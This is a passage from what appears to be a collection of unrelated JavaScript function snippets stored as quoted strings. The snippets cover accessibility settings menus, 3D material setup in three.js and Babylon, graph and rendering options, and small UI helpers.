Hyperlegible\">\n\t\t\t\t\t\t\t\t\t<span>Atkinson Hyperlegible<br /><span class=\"subtext\">For people with low vision</span></span>\n\t\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t`);\n\t\t\t\t\n\t\t\t\tswitch (getPreferenceGroup(\"rebar.appSettings\").textFont) {\n\t\t\t\t\tcase 'system':\n\t\t\t\t\t\t$(`[data-setting=\"font\"] .contextLabel`).append(`System`);\n\t\t\t\t\t\t$(`[data-value=\"system\"]`).addClass(`picked`);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'opendyslexic':\n\t\t\t\t\t\t$(`[data-setting=\"font\"] .contextLabel`).append(`OpenDyslexic`);\n\t\t\t\t\t\t$(`[data-value=\"opendyslexic\"]`).addClass(`picked`);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'atkinson':\n\t\t\t\t\t\t$(`[data-setting=\"font\"] .contextLabel`).append(`Atkinson Hyperlegible`);\n\t\t\t\t\t\t$(`[data-value=\"atkinson\"]`).addClass(`picked`);\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//GENERATE TEXT SIZE OPTIONS\n\t\t\tif (options.textSizeOptions == true) {\n\t\t\t\t//GENERATE MENU\n\t\t\t\t$(`#containerText`).append(`\n\t\t\t\t\t<div class=\"itemList fixedIconSize\">\n\t\t\t\t\t\t${iconInterfaceElements.textSize}\n\t\t\t\t\t\t<div class=\"label\">\n\t\t\t\t\t\t\t<span>Text Size</span>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"containerContextButton\" data-setting=\"dynamicTypeSize\" data-position=\"right\" data-type=\"picker\">\n\t\t\t\t\t\t\t<button class=\"buttonContext transparent excludePadding\">\n\t\t\t\t\t\t\t\t<div class=\"contextContainerLabel\">\n\t\t\t\t\t\t\t\t\t<span class=\"contextLabel\"></span>\n\t\t\t\t\t\t\t\t\t<span class=\"contextGripper\">${iconShapes.chevronOutwardsVerticalFill}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t<div class=\"contextContainerMenu\"></div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t`);\n\t\t\t\t\n\t\t\t\t//GENERATE MENU ITEMS\n\t\t\t\t$.each( appTextSizes, function( key, val ) {\n\t\t\t\t\t$(`[data-setting=\"dynamicTypeSize\"] .contextContainerMenu`).append(`\n\t\t\t\t\t\t<button data-value=\"${key}\" data-label=\"${val}\">${val}</button>\n\t\t\t\t\t`)\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t//SET TEXT SIZE DROPDOWN\n\t\t\t\t$(`[data-setting='dynamicTypeSize'] button[data-value='${getPreferenceGroup(\"rebar.appSettings\").dynamicTypeSize.value}']`).addClass(\"picked\");\n\t\t\t\t$(\"[data-setting='dynamicTypeSize'] .contextLabel\").append(getPreferenceGroup(\"rebar.appSettings\").dynamicTypeSize.label);\n\t\t\t}\n\t\t\t\n\t\t\t//GENERATE BOLD TEXT OPTIONS\n\t\t\tif (options.textWeightOptions == true) {\n\t\t\t\t//GENERATE MENU\n\t\t\t\t$(`#containerText`).append(`\n\t\t\t\t\t<div class=\"itemList fixedIconSize\">\n\t\t\t\t\t\t${iconInterfaceElements.textWeight}\n\t\t\t\t\t\t<div class=\"label\">\n\t\t\t\t\t\t\t<span>Bold Text</span>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<button class=\"switch\" data-setting=\"boldText\"></button>\n\t\t\t\t\t</div>\n\t\t\t\t`);\n\t\t\t\t\n\t\t\t\tif (getPreferenceGroup(\"rebar.appSettings\").textWeight == \"regular\") {\n\t\t\t\t\t$('[data-setting=\"boldText\"]').addClass(\"off\");\n\t\t\t\t\t$('[data-setting=\"boldText\"]').attr(\"title\", \"Off\")\n\t\t\t\t} else {\n\t\t\t\t\t$('[data-setting=\"boldText\"]').attr(\"title\", \"On\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "function updateOptions() {\n\tpush();\n\t\tfill([255,255,255]);\n\t\ttextSize(cellwidth/2);\n\t\ttextAlign(CENTER,CENTER);\n\t\ttranslate(screen.w/2,screen.h/2);\n\t\ttext(\"What options do you need?\",0,0);\n\tpop();\n}", "static getMaterials() {\n return this.Materials;\n }", "switchIlumination() {\n\n if (!this.typeBasic)\n //colocamos o material (Phong ou Lambert) como sendo Basic\n this.material = this.materials[0];\n\n else\n //colocamos o material Basic como sendo o anterior a ser mudado para Basic\n this.material = this.materials[this.currMaterial];\n\n this.typeBasic = !this.typeBasic;\n }", "function prepareOptions(options){\n\n\n //if options isnt instance of GeneralOptions\n if (!(options instanceof GeneralOptions)) {\n \n\n //var generalOptions = new GeneralOptions\n var generalOptions = new GeneralOptions();\n //for each own property key,value in options\n var value=undefined;\n for ( var key in options)if (options.hasOwnProperty(key)){value=options[key];\n {\n //generalOptions.setProperty key, value\n generalOptions.setProperty(key, value);\n }\n \n }// end for each property\n //end for\n //options = generalOptions\n \n //options = generalOptions\n options = generalOptions;\n };\n\n\n //options.version = version\n options.version = module.exports.version;\n\n //return options\n return options;\n }", "function getOptions()\n{\n\n var mode = getVal(\"mode\")\n var normalizeX1 = getVal(\"normalizeX1\")\n var normalizeX2 = getVal(\"normalizeX2\")\n var normalizeX3 = getVal(\"normalizeX3\")\n var xRes = getVal(\"xRes\")\n var zRes = getVal(\"zRes\")\n var barchartPadding = getVal(\"barchartPadding\")\n var barSizeThreshold = getVal(\"barSizeThreshold\")\n var defaultColor = getVal(\"defaultColor\")\n var hueOffset = getVal(\"hueOffset\")\n var title = getVal(\"title\")\n var x1title = getVal(\"x1title\")\n var x2title = getVal(\"x2title\")\n var x3title = getVal(\"x3title\")\n var fraction = getVal(\"fraction\")\n var keepOldPlot = getVal(\"keepOldPlot\")\n var colorCol = getVal(\"colorCol\")\n var dataPointSize = getVal(\"dataPointSize\")\n var header = getVal(\"header\")\n var separator = getVal(\"separator\")\n var labeled = getVal(\"labeled\")\n var filterColor = getVal(\"filterColor\")\n \n return {\n mode: mode,\n normalizeX1: normalizeX1,\n normalizeX2: normalizeX2,\n normalizeX3: normalizeX3,\n xRes: xRes,\n zRes: zRes,\n barchartPadding: barchartPadding,\n barSizeThreshold: barSizeThreshold,\n defaultColor: defaultColor,\n hueOffset: hueOffset,\n title: title,\n x1title: x1title,\n x2title: x2title,\n x3title: x3title,\n fraction: fraction,\n keepOldPlot: keepOldPlot,\n colorCol: colorCol,\n dataPointSize: dataPointSize,\n header: header,\n separator: separator,\n labeled: labeled,\n filterColor: filterColor, \n }\n}", "function _Markdown_formatOptions(options)\n{\n\tfunction toHighlight(code, lang)\n\t{\n\t\tif (!lang && elm$core$Maybe$isJust(options.a$))\n\t\t{\n\t\t\tlang = options.a$.a;\n\t\t}\n\n\t\tif (typeof hljs !== 'undefined' && lang && hljs.listLanguages().indexOf(lang) >= 0)\n\t\t{\n\t\t\treturn hljs.highlight(lang, code, true).value;\n\t\t}\n\n\t\treturn code;\n\t}\n\n\tvar gfm = options.a3.a;\n\n\treturn {\n\t\thighlight: toHighlight,\n\t\tgfm: gfm,\n\t\ttables: gfm && gfm.dh,\n\t\tbreaks: gfm && gfm.bI,\n\t\tsanitize: options.c0,\n\t\tsmartypants: options.bq\n\t};\n}", "function applyMaterialToMesh(mesh) {\n\n var pbr = new BABYLON.PBRMaterial(\"la\", scene);\n pbr.albedoColor = new BABYLON.Color3(0, 0, 0);\n pbr.reflectivityColor = new BABYLON.Color3(1, 1, 1);\n pbr.microSurface = .7; // Let the texture controls the value \n pbr.reflectionTexture = BABYLON.CubeTexture.CreateFromPrefilteredData(\"/textures/Studio_Softbox_2Umbrellas_cube_specular.dds\", scene);\n pbr.reflectivityTexture = new BABYLON.Texture(\"/textures/133182_header3.jpg\", scene);\n pbr.useMicroSurfaceFromReflectivityMapAlpha = true;\n\n mesh.material = pbr;\n }", "function generateMaterials() {\n let tunnelMaterial = new THREE.MeshLambertMaterial( { color: 0xBABABA, side: THREE.DoubleSide } );\n let doorMaterial = new THREE.MeshLambertMaterial( { color: 0xFF0000, side: THREE.DoubleSide } );\n return {\n tunnel: tunnelMaterial,\n door: doorMaterial\n }\n }", "function resetToOptions(){\n\tconsole.log(\"Resetting to initial\", viewerParams.parts.options_initial);\n\tviewerParams.parts.options = JSON.parse(JSON.stringify(viewerParams.parts.options_initial));\n\tresetViewer();\n}", "setMaterial(material, isPointSprite = false) {\n this.__material = material;\n this.__setupMaterial(material, isPointSprite);\n }", "function Material(name) {\n\t// initialization\n\tvar _name = name;\n\t// map\n\tvar _diffuseMap = null;\n\tvar _normalMap = null;\n\tvar _displaceMap = null;\n\tvar _ambientMap = null;\n\tvar _specularMap = null;\n\tvar _alphaMap = null;\n\t// params\n\tvar _diffuseColor = null;\n\tvar _shininess = 1;\n\tvar _reflectivity = 0;\n\tvar _reflectiveFactor = 0;\n\tvar _refractiveFactor = 0;\n\tvar _refractiveIndex = 0;\n\tvar _emission = 0;\n\t\n\tvar _useFakeLighting = false;\n\t\n\tthis.getDiffuseMap = function() {\n\t\treturn _diffuseMap;\n\t}\n\t\n\tthis.setDiffuseMap = function(diffuseMap) {\n\t\t_diffuseMap = diffuseMap;\n\t}\n\t\n\tthis.getNormalMap = function() {\n\t\treturn _normalMap;\n\t}\n\t\n\tthis.setNormalMap = function(normalMap) {\n\t\t_normalMap = normalMap;\n\t}\n\t\n\tthis.getDisplaceMap = function() {\n\t\treturn _displaceMap;\n\t}\n\t\n\tthis.setDisplaceMap = function(displaceMap) {\n\t\t_displaceMap = displaceMap;\n\t}\n\t\n\tthis.getAmbientMap = function() {\n\t\treturn _ambientMap;\n\t}\n\t\n\tthis.setAmbientMap = function(ambientMap) {\n\t\t_ambientMap = ambientMap;\n\t}\n\t\n\tthis.getSpecularMap = function() {\n\t\treturn _specularMap;\n\t}\n\t\n\tthis.setSpecularMap = function(specularMap) {\n\t\t_specularMap = specularMap;\n\t}\n\t\n\tthis.getAlphaMap = function() {\n\t\treturn _alphaMap;\n\t}\n\t\n\tthis.seAlphaMap = function(alphaMap) {\n\t\t_alphaMap = alphaMap\n\t}\n\t\n\tthis.getDiffuseColor = function() {\n\t\treturn _diffuseColor;\n\t}\n\t\n\tthis.setDiffuseColor = function(color) {\n\t\t_diffuseColor = diffuseColor;\n\t}\n\t\n\tthis.getShininess = function() {\n\t\treturn _shininess;\n\t}\n\t\n\tthis.setShininess = function(shininess) {\n\t\t_shininess = shininess;\n\t}\n\t\n\tthis.getReflectivity = function() {\n\t\treturn _reflectivity;\n\t}\n\t\n\tthis.setReflectivity = function(reflectivity) {\n\t\t_reflectivity = reflectivity;\n\t}\n\t\n\tthis.getReflectiveFactor = function() {\n\t\treturn _reflectiveFactor;\n\t}\n\t\n\tthis.setReflectiveFactor = function(factor) {\n\t\t_reflectiveFactor = factor;\n\t}\n\t\n\tthis.getRefractiveFactor = function() {\n\t\treturn _refractiveFactor;\n\t}\n\t\n\tthis.setRefractiveFactor = function(factor) {\n\t\t_refractiveFactor = factor;\n\t}\n\t\n\tthis.getRefractiveIndex = function() {\n\t\treturn _refractiveIndex;\n\t}\n\t\n\tthis.setRefractiveIndex = function(index) {\n\t\t_refractiveIndex = index;\n\t}\n\t\n\tthis.getEmission = function() {\n\t\treturn _emission;\n\t}\n\t\n\tthis.setEmission = function(emission) {\n\t\t_emission = emission;\n\t}\n}", "function MatFormFieldDefaultOptions() {}", "function graphGenerateOptions () {\n var options = \"No options are required, default values used.\";\n var optionsSpecific = [];\n var radioButton1 = document.getElementById(\"graph_physicsMethod1\");\n var radioButton2 = document.getElementById(\"graph_physicsMethod2\");\n if (radioButton1.checked == true) {\n if (this.constants.physics.barnesHut.gravitationalConstant != this.backupConstants.physics.barnesHut.gravitationalConstant) {optionsSpecific.push(\"gravitationalConstant: \" + this.constants.physics.barnesHut.gravitationalConstant);}\n if (this.constants.physics.centralGravity != this.backupConstants.physics.barnesHut.centralGravity) {optionsSpecific.push(\"centralGravity: \" + this.constants.physics.centralGravity);}\n if (this.constants.physics.springLength != this.backupConstants.physics.barnesHut.springLength) {optionsSpecific.push(\"springLength: \" + this.constants.physics.springLength);}\n if (this.constants.physics.springConstant != this.backupConstants.physics.barnesHut.springConstant) {optionsSpecific.push(\"springConstant: \" + this.constants.physics.springConstant);}\n if (this.constants.physics.damping != this.backupConstants.physics.barnesHut.damping) {optionsSpecific.push(\"damping: \" + this.constants.physics.damping);}\n if (optionsSpecific.length != 0) {\n options = \"var options = {\";\n options += \"physics: {barnesHut: {\";\n for (var i = 0; i < optionsSpecific.length; i++) {\n options += optionsSpecific[i];\n if (i < optionsSpecific.length - 1) {\n options += \", \"\n }\n }\n options += '}}'\n }\n if (this.constants.smoothCurves.enabled != this.backupConstants.smoothCurves.enabled) {\n if (optionsSpecific.length == 0) {options = \"var options = {\";}\n else {options += \", \"}\n options += \"smoothCurves: \" + this.constants.smoothCurves.enabled;\n }\n if (options != \"No options are required, default values used.\") {\n options += '};'\n }\n }\n else if (radioButton2.checked == true) {\n options = \"var options = {\";\n options += \"physics: {barnesHut: {enabled: false}\";\n if (this.constants.physics.repulsion.nodeDistance != this.backupConstants.physics.repulsion.nodeDistance) {optionsSpecific.push(\"nodeDistance: \" + this.constants.physics.repulsion.nodeDistance);}\n if (this.constants.physics.centralGravity != this.backupConstants.physics.repulsion.centralGravity) {optionsSpecific.push(\"centralGravity: \" + this.constants.physics.centralGravity);}\n if (this.constants.physics.springLength != this.backupConstants.physics.repulsion.springLength) {optionsSpecific.push(\"springLength: \" + this.constants.physics.springLength);}\n if (this.constants.physics.springConstant != this.backupConstants.physics.repulsion.springConstant) {optionsSpecific.push(\"springConstant: \" + this.constants.physics.springConstant);}\n if (this.constants.physics.damping != this.backupConstants.physics.repulsion.damping) {optionsSpecific.push(\"damping: \" + this.constants.physics.damping);}\n if (optionsSpecific.length != 0) {\n options += \", repulsion: {\";\n for (var i = 0; i < optionsSpecific.length; i++) {\n options += optionsSpecific[i];\n if (i < optionsSpecific.length - 1) {\n options += \", \"\n }\n }\n options += '}}'\n }\n if (optionsSpecific.length == 0) {options += \"}\"}\n if (this.constants.smoothCurves != this.backupConstants.smoothCurves) {\n options += \", smoothCurves: \" + this.constants.smoothCurves;\n }\n options += '};'\n }\n else {\n options = \"var options = {\";\n if (this.constants.physics.hierarchicalRepulsion.nodeDistance != this.backupConstants.physics.hierarchicalRepulsion.nodeDistance) {optionsSpecific.push(\"nodeDistance: \" + this.constants.physics.hierarchicalRepulsion.nodeDistance);}\n if (this.constants.physics.centralGravity != this.backupConstants.physics.hierarchicalRepulsion.centralGravity) {optionsSpecific.push(\"centralGravity: \" + this.constants.physics.centralGravity);}\n if (this.constants.physics.springLength != this.backupConstants.physics.hierarchicalRepulsion.springLength) {optionsSpecific.push(\"springLength: \" + this.constants.physics.springLength);}\n if (this.constants.physics.springConstant != this.backupConstants.physics.hierarchicalRepulsion.springConstant) {optionsSpecific.push(\"springConstant: \" + this.constants.physics.springConstant);}\n if (this.constants.physics.damping != this.backupConstants.physics.hierarchicalRepulsion.damping) {optionsSpecific.push(\"damping: \" + this.constants.physics.damping);}\n if (optionsSpecific.length != 0) {\n options += \"physics: {hierarchicalRepulsion: {\";\n for (var i = 0; i < optionsSpecific.length; i++) {\n options += optionsSpecific[i];\n if (i < optionsSpecific.length - 1) {\n options += \", \";\n }\n }\n options += '}},';\n }\n options += 'hierarchicalLayout: {';\n optionsSpecific = [];\n if (this.constants.hierarchicalLayout.direction != this.backupConstants.hierarchicalLayout.direction) {optionsSpecific.push(\"direction: \" + this.constants.hierarchicalLayout.direction);}\n if (Math.abs(this.constants.hierarchicalLayout.levelSeparation) != this.backupConstants.hierarchicalLayout.levelSeparation) {optionsSpecific.push(\"levelSeparation: \" + this.constants.hierarchicalLayout.levelSeparation);}\n if (this.constants.hierarchicalLayout.nodeSpacing != this.backupConstants.hierarchicalLayout.nodeSpacing) {optionsSpecific.push(\"nodeSpacing: \" + this.constants.hierarchicalLayout.nodeSpacing);}\n if (optionsSpecific.length != 0) {\n for (var i = 0; i < optionsSpecific.length; i++) {\n options += optionsSpecific[i];\n if (i < optionsSpecific.length - 1) {\n options += \", \"\n }\n }\n options += '}'\n }\n else {\n options += \"enabled:true}\";\n }\n options += '};'\n }\n\n\n this.optionsDiv.innerHTML = options;\n }", "function Options(data) {\n this.style = void 0;\n this.color = void 0;\n this.size = void 0;\n this.textSize = void 0;\n this.phantom = void 0;\n this.font = void 0;\n this.fontFamily = void 0;\n this.fontWeight = void 0;\n this.fontShape = void 0;\n this.sizeMultiplier = void 0;\n this.maxSize = void 0;\n this._fontMetrics = void 0;\n this.style = data.style;\n this.color = data.color;\n this.size = data.size || Options.BASESIZE;\n this.textSize = data.textSize || this.size;\n this.phantom = !!data.phantom;\n this.font = data.font || \"\";\n this.fontFamily = data.fontFamily || \"\";\n this.fontWeight = data.fontWeight || '';\n this.fontShape = data.fontShape || '';\n this.sizeMultiplier = sizeMultipliers[this.size - 1];\n this.maxSize = data.maxSize;\n this._fontMetrics = undefined;\n }", "function Options(data) {\n this.style = void 0;\n this.color = void 0;\n this.size = void 0;\n this.textSize = void 0;\n this.phantom = void 0;\n this.font = void 0;\n this.fontFamily = void 0;\n this.fontWeight = void 0;\n this.fontShape = void 0;\n this.sizeMultiplier = void 0;\n this.maxSize = void 0;\n this._fontMetrics = void 0;\n this.style = data.style;\n this.color = data.color;\n this.size = data.size || Options.BASESIZE;\n this.textSize = data.textSize || this.size;\n this.phantom = !!data.phantom;\n this.font = data.font || \"\";\n this.fontFamily = data.fontFamily || \"\";\n this.fontWeight = data.fontWeight || '';\n this.fontShape = data.fontShape || '';\n this.sizeMultiplier = sizeMultipliers[this.size - 1];\n this.maxSize = data.maxSize;\n this._fontMetrics = undefined;\n }", "function Options(data) {\n this.style = void 0;\n this.color = void 0;\n this.size = void 0;\n this.textSize = void 0;\n this.phantom = void 0;\n this.font = void 0;\n this.fontFamily = void 0;\n this.fontWeight = void 0;\n this.fontShape = void 0;\n this.sizeMultiplier = void 0;\n this.maxSize = void 0;\n this._fontMetrics = void 0;\n this.style = data.style;\n this.color = data.color;\n this.size = data.size || Options.BASESIZE;\n this.textSize = data.textSize || this.size;\n this.phantom = !!data.phantom;\n this.font = data.font || \"\";\n this.fontFamily = data.fontFamily || \"\";\n this.fontWeight = data.fontWeight || '';\n this.fontShape = data.fontShape || '';\n this.sizeMultiplier = sizeMultipliers[this.size - 1];\n this.maxSize = data.maxSize;\n this._fontMetrics = undefined;\n }", "function set_graph_options()\n{\n\tgraph3d.xLabel = UVW ? \"u\" : \"RA\";\n\tgraph3d.yLabel = UVW ? \"v\" : \"Dec\";\n\tgraph3d.zLabel = UVW ? \"w\" : \"V_rad\";\n}", "get material() {\n return this.viewer == null ? null : this.viewer.material;\n }", "switchShading() {\n\n if (!this.typeBasic){\n\n if (this.currMaterial == 1) { var currMaterial = 2; }\n if (this.currMaterial == 2) { var currMaterial = 1; }\n\n this.currMaterial = currMaterial;\n this.material = this.materials[this.currMaterial];\n }\n }", "function SetQuickOptionsNormal() {\n\n\t// Disables upgradable towers in standard and random_omg\n\tvar map_info = Game.GetMapInfo();\n\tif (map_info.map_display_name == \"extended_standard\" || map_info.map_display_name == \"extended_random_omg\") {\n\t\t$('#TowerUpgradesToggle').SetSelected(false);\n\t} \n\n\t// Sets everything else to normal options\n\t$('#GoldExpOptionsDropdown').SetSelected('GoldExpOption1');\n\t$('#CreepPowerOptionsDropdown').SetSelected('CreepPowerOption1');\n\t$('#TowerPowerOptionsDropdown').SetSelected('TowerPowerOption1');\n\t$('#RespawnTimeOptionsDropdown').SetSelected('RespawnTimeOption1');\n\t$('#InitialGoldExpDropdown').SetSelected('InitialGoldExp1');\n}", "function setIconOptions(options) {\n _iconSettings.__options = __WEBPACK_IMPORTED_MODULE_0_tslib__[\"a\" /* __assign */]({}, _iconSettings.__options, options);\n}", "constructor() {\n this.settings = {\n load: false,\n angle: false,\n moment: false,\n distload: false,\n material: false,\n one_load: false,\n one_moment: false,\n one_distload: false,\n one_material: false,\n defenition: false,\n one_joint: false,\n fixed_size: false,\n };\n this.setSettings(\"default\");\n }", "function tweakMatrix() {\n // See if the entered white point matches a preset. If it does, select the\n // option which represents it.\n for (var i = 0; i < colorimetryWhitePointPresets.length; i++) {\n if (parseFloat(document.paletteTweaks.custWx.value) == colorimetryWhitePointPresets[i][1] &&\n parseFloat(document.paletteTweaks.custWy.value) == colorimetryWhitePointPresets[i][2]) {\n document.paletteTweaks.whitePointPreset[i].checked = \"checked\";\n } else {\n document.paletteTweaks.whitePointPreset[i].checked = false;\n }\n }\n // Figure out which colorimetry is selected.\n var colorimetry;\n for (i = 0; i < document.paletteTweaks.colorimetry.length; i++) {\n if (document.paletteTweaks.colorimetry[i].checked) {\n colorimetry = document.paletteTweaks.colorimetry[i].value;\n break;\n }\n }\n // Only generate palette if the custom one is selected.\n if (colorimetry == \"4\")\n generatePalette();\n}", "updateFilterEgeOptionsSettings_(options) {\n return options.map(option => {\n option.type = 'number';\n option.maxLength = 3;\n option.isHidden = !this.isEgeResultOptionVisible_(option);\n return option;\n });\n }", "constructor(color, material)\n {\n this._color = color;\n this._material = material;\n }", "function figureMaterial() {\n material = new THREE.MeshNormalMaterial({side: 3, wireframe: true})\n}", "function normalizeOptions(options) {\n options = options || {};\n return {\n concatMessages: options.concatMessages === undefined ? true : Boolean(options.concatMessages),\n format: options.format === undefined ? format$3\n : (typeof options.format === \"function\" ? options.format : false),\n };\n}", "function setHandMaterial(m) {\n\t\t\n\t\tpalms[0].material = m;\n\t\tpalms[1].material = m;\n\t\t\n\t\tfor (var i = 0, l = fingers.length; i < l; i++) { fingers[i].material = m; }\t\t\n\t}", "function prepareAnimateOptions(options){return isObject(options)?options:{};}", "function prepareAnimateOptions(options){return isObject(options)?options:{};}", "get fillAttrs() {\n return this.makeMap(\"checked,compact,declare,defer,disabled,ismap,multiple,nohref,noresize,noshade,nowrap,readonly,selected\")\n }", "function createMaterial() {\n material = new THREE.ShaderMaterial({\n uniforms: uniforms,\n vertexShader: vShader.text(),\n fragmentShader: fShader.text()\n });\n}", "function setingDirectOptions() {\n switch (vm.getCurrentUser().role) {\n case 'cda':\n vm.addUser = true;\n vm.addClient = true;\n vm.addVehicle = true;\n break;\n case 'admin':\n vm.addUser = true;\n vm.addClient = true;\n vm.addVehicle = true;\n break;\n case 'sede':\n vm.addUser = true;\n vm.addClient = true;\n vm.addVehicle = true;\n break;\n case 'flota':\n vm.addUser = false;\n vm.addClient = false;\n vm.addVehicle = true;\n break;\n case 'tecnico':\n vm.addUser = false;\n vm.addClient = false;\n vm.addVehicle = true;\n break;\n case 'tecnico flota':\n vm.addUser = false;\n vm.addClient = false;\n vm.addVehicle = true;\n break;\n case 'country Manager':\n vm.addUser = false;\n vm.addClient = false;\n vm.addVehicle = false;\n vm.showIcon = false;\n break;\n case 'provider_app':\n vm.addUser = false;\n vm.addClient = false;\n vm.addVehicle = false;\n vm.showIcon = false;\n break;\n default:\n\n }\n }", "refreshUniformsCommon(uniforms, material) {\n uniforms.opacity.value = material.opacity;\n if (material.color) {\n uniforms.diffuse.value = material.color;\n }\n if (material.emissive) {\n uniforms.emissive.value.copy(material.emissive).multiplyScalar(material.emissiveIntensity);\n }\n if (material.map) {\n uniforms.map.value = material.map;\n }\n if (material.alphaMap) {\n uniforms.alphaMap.value = material.alphaMap;\n }\n if (material.specularMap) {\n uniforms.specularMap.value = material.specularMap;\n }\n if (material.envMap) {\n uniforms.envMap.value = material.envMap;\n // don't flip CubeTexture envMaps, flip everything else:\n // WebGLRenderTargetCube will be flipped for backwards compatibility\n // WebGLRenderTargetCube.texture will be flipped because it's a Texture and NOT a CubeTexture\n // this check must be handled differently, or removed entirely, if WebGLRenderTargetCube uses a CubeTexture in the future\n uniforms.flipEnvMap.value = !(material.envMap && material.envMap instanceof CubeTexture) ? 1 : -1;\n uniforms.reflectivity.value = material.reflectivity;\n uniforms.refractionRatio.value = material.refractionRatio;\n }\n if (material.lightMap) {\n uniforms.lightMap.value = material.lightMap;\n uniforms.lightMapIntensity.value = material.lightMapIntensity;\n }\n if (material.aoMap) {\n uniforms.aoMap.value = material.aoMap;\n uniforms.aoMapIntensity.value = material.aoMapIntensity;\n }\n // uv repeat and offset setting priorities\n // 1. color map\n // 2. specular map\n // 3. normal map\n // 4. bump map\n // 5. alpha map\n // 6. emissive map\n let uvScaleMap;\n if (material.map) {\n uvScaleMap = material.map;\n }\n else if (material.specularMap) {\n uvScaleMap = material.specularMap;\n }\n else if (material.displacementMap) {\n uvScaleMap = material.displacementMap;\n }\n else if (material.normalMap) {\n uvScaleMap = material.normalMap;\n }\n else if (material.bumpMap) {\n uvScaleMap = material.bumpMap;\n }\n else if (material.roughnessMap) {\n uvScaleMap = material.roughnessMap;\n }\n else if (material.metalnessMap) {\n uvScaleMap = material.metalnessMap;\n }\n else if (material.alphaMap) {\n uvScaleMap = material.alphaMap;\n }\n else if (material.emissiveMap) {\n uvScaleMap = material.emissiveMap;\n }\n if (uvScaleMap !== undefined) {\n // backwards compatibility\n if (uvScaleMap instanceof WebGLRenderTarget) {\n uvScaleMap = uvScaleMap.texture;\n }\n if (uvScaleMap.matrixAutoUpdate === true) {\n const offset = uvScaleMap.offset;\n const repeat = uvScaleMap.repeat;\n const rotation = uvScaleMap.rotation;\n const center = uvScaleMap.center;\n uvScaleMap.matrix.setUvTransform(offset.x, offset.y, repeat.x, repeat.y, rotation, center.x, center.y);\n }\n uniforms.uvTransform.value.copy(uvScaleMap.matrix);\n }\n }", "static get defaultOptions() {\n return mergeObject(super.defaultOptions, {\n id: \"helpMenu\",\n title: \"Material Deck: \"+game.i18n.localize(\"MaterialDeck.Sett.Help\"),\n template: \"./modules/MaterialDeck/templates/helpMenu.html\",\n width: \"500px\"\n });\n }", "function prepareAnimateOptions(options) { // 4868\n return isObject(options) // 4869\n ? options // 4870\n : {}; // 4871\n} // 4872", "function setIconOptions(options) {\n _iconSettings.__options = (0,tslib__WEBPACK_IMPORTED_MODULE_2__.__assign)((0,tslib__WEBPACK_IMPORTED_MODULE_2__.__assign)({}, _iconSettings.__options), options);\n}", "function setIconOptions(options) {\n _iconSettings.__options = (0,tslib__WEBPACK_IMPORTED_MODULE_2__.__assign)((0,tslib__WEBPACK_IMPORTED_MODULE_2__.__assign)({}, _iconSettings.__options), options);\n}", "function prepareAnimateOptions(options) {\n return isObject(options) ? options : {};\n }", "function setOptions(obj) {\n\n // Set bean\n $(\"#Arabica\").fadeTo(250, (obj.bean == \"Arabica\" ? 1 : .25))\n $(\"#Robusta\").fadeTo(250, (obj.bean == \"Robusta\" ? 1 : .25))\n\n // Set roast\n $(\"#Light\").fadeTo(250, (obj.roast == \"Light\" ? 1 : .25))\n $(\"#Medium\").fadeTo(250, (obj.roast == \"Medium\" ? 1 : .25))\n $(\"#Dark\").fadeTo(250, (obj.roast == \"Dark\" ? 1 : .25))\n\n\n // Set method\n $(\"#Chemex\").fadeTo(250, (obj.method == \"Chemex\" ? 1 : .25))\n $(\"#Siphon\").fadeTo(250, (obj.method == \"Siphon\" ? 1 : .25))\n $(\"#ColdBrew\").fadeTo(250, (obj.method == \"ColdBrew\" ? 1 : .25))\n $(\"#Espresso\").fadeTo(250, (obj.method == \"Espresso\" ? 1 : .25))\n $(\"#Turkish\").fadeTo(250, (obj.method == \"Turkish\" ? 1 : .25))\n\n // Ste milk\n $(\"#CowMilk\").fadeTo(250, (obj.milk == \"CowMilk\" ? 1 : .25))\n $(\"#AlmondMilk\").fadeTo(250, (obj.milk == \"AlmondMilk\" ? 1 : .25))\n $(\"#SoyMilk\").fadeTo(250, (obj.milk == \"SoyMilk\" ? 1 : .25))\n\n // Set sweetener\n $(\"#Sugar\").fadeTo(250, (obj.sweetener == \"Sugar\" ? 1 : .25))\n $(\"#Honey\").fadeTo(250, (obj.sweetener == \"Honey\" ? 1 : .25))\n $(\"#Syrup\").fadeTo(250, (obj.sweetener == \"Syrup\" ? 1 : .25))\n }", "function createOptions( options ) {\n\tvar object = optionsCache[ options ] = {};\n\tDM.each( options.match( core_rnotwhite ) || [], function( _, flag ) {\n\t\tobject[ flag ] = true;\n\t});\n\treturn object;\n}", "function updateColorOptions(theme) {\n const currentOptions = [];\n const colorDiv = doc.querySelector(\"#colors-js-puns\");\n\n for (let child of color.options) {\n switch (theme) {\n case selectTheme: {\n hideElement(child);\n hideElement(colorDiv);\n break;\n }\n\n case \"Theme - JS Puns\": {\n if (child.value === \"cornflowerblue\" ||\n child.value === \"darkslategrey\" ||\n child.value === \"gold\") {\n showElement(child);\n showElement(colorDiv);\n } else {\n hideElement(child)\n }\n\n break;\n }\n\n case \"Theme - I ♥ JS\": {\n if (child.value === \"tomato\" ||\n child.value === \"steelblue\" ||\n child.value === \"dimgrey\") {\n showElement(child);\n showElement(colorDiv);\n } else {\n hideElement(child)\n }\n break;\n }\n\n default: {\n hideElement(child);\n hideElement(colorDiv);\n break;\n }\n }\n\n if (!isElementHidden(child)) {\n currentOptions.push(child);\n }\n }\n\n if (currentOptions.length > 0) {\n selected(currentOptions[0]);\n }\n}", "get Variants() {\n return !this.themeBuilderService.MaterialPaletteColors ? undefined :\n this.materialKeys.map((x) => {\n return this.themeBuilderService.MaterialPaletteColors[x];\n });\n }", "function extendedDegrade(sceneManager) {\r\n var defaultPipeline = sceneManager.defaultRenderingPipeline;\r\n if (sceneManager.groundMirrorEnabled) {\r\n sceneManager.groundMirrorEnabled = 